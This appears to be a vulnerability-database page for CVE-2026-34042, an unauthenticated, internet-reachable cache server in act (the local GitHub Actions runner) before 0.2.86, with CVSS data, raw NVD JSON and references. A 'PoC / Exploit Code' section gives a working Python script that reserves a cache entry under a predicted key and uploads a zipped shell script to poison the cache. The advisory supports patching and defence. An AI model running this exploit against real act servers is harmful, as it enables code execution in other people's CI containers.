Security Vulnerability Report
中文
CVE-2026-34042 CVSS 8.2 HIGH

CVE-2026-34042

Published: 2026-03-31 03:15:58
Last Modified: 2026-04-16 14:45:20

Description

act is a project which allows for local running of github actions. Prior to version 0.2.86, act's built in actions/cache server listens to connections on all interfaces and allows anyone who can connect to it including someone anywhere on the internet to create caches with arbitrary keys and retrieve all existing caches. If they can predict which cache keys will be used by local actions, they can create malicious caches containing whatever files they please most likely allowing arbitrary remote code execution within the docker container. This issue has been patched in version 0.2.86.

CVSS Details

CVSS Score
8.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

act < 0.2.86

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import zipfile import io # Exploit for CVE-2026-34042 # This script uploads a malicious cache to a vulnerable act server. def generate_malicious_cache(): # Create a zip file in memory containing a malicious script buffer = io.BytesIO() with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Add a file that will be extracted to the workspace zf.writestr('malicious.sh', '#!/bin/bash\necho "pwned" > /tmp/pwned.txt') buffer.seek(0) return buffer.getvalue() def exploit(target_host, cache_key): url = f"http://{target_host}/_apis/artifactcache/caches" headers = {"Content-Type": "application/json"} # Step 1: Reserve a cache entry payload = { "key": cache_key, "version": "1.0" } try: r = requests.post(url, json=payload, headers=headers, timeout=5) if r.status_code == 200: cache_id = r.json().get('cacheId') print(f"[+] Cache reserved with ID: {cache_id}") # Step 2: Upload the malicious content upload_url = f"http://{target_host}/_apis/artifactcache/caches/{cache_id}" files = {'file': ('archive.zip', generate_malicious_cache(), 'application/zip')} upload_r = requests.put(upload_url, files=files, timeout=5) if upload_r.status_code == 200: print("[+] Malicious cache uploaded successfully.") else: print(f"[-] Upload failed: {upload_r.status_code}") else: print(f"[-] Failed to reserve cache: {r.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Target host and a predicted cache key target = "localhost:5000" # Example port, check actual configuration predicted_key = "Linux-node-modules-" exploit(target, predicted_key)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34042", "sourceIdentifier": "[email protected]", "published": "2026-03-31T03:15:58.220", "lastModified": "2026-04-16T14:45:19.723", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "act is a project which allows for local running of github actions. Prior to version 0.2.86, act's built in actions/cache server listens to connections on all interfaces and allows anyone who can connect to it including someone anywhere on the internet to create caches with arbitrary keys and retrieve all existing caches. If they can predict which cache keys will be used by local actions, they can create malicious caches containing whatever files they please most likely allowing arbitrary remote code execution within the docker container. This issue has been patched in version 0.2.86."}, {"lang": "es", "value": "act es un proyecto que permite la ejecución local de acciones de GitHub. Antes de la versión 0.2.86, el servidor actions/cache integrado de act escucha las conexiones en todas las interfaces y permite que cualquiera que pueda conectarse a él, incluyendo a alguien desde cualquier lugar de internet, cree cachés con claves arbitrarias y recupere todos los cachés existentes. Si pueden predecir qué claves de caché serán utilizadas por las acciones locales, pueden crear cachés maliciosos que contengan los archivos que deseen, lo que muy probablemente permitiría la ejecución remota de código arbitrario dentro del contenedor de Docker. Este problema ha sido parcheado en la versión 0.2.86."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://code.forgejo.org/forgejo/runner/issues/294", "source": "[email protected]"}, {"url": "https://github.com/nektos/act/commit/c28c27e141e8b54f9853de82f421ee09846751f7", "source": "[email protected]"}, {"url": "https://github.com/nektos/act/releases/tag/v0.2.86", "source": "[email protected]"}, {"url": "https://github.com/nektos/act/security/advisories/GHSA-x34h-54cw-9825", "source": "[email protected]"}]}}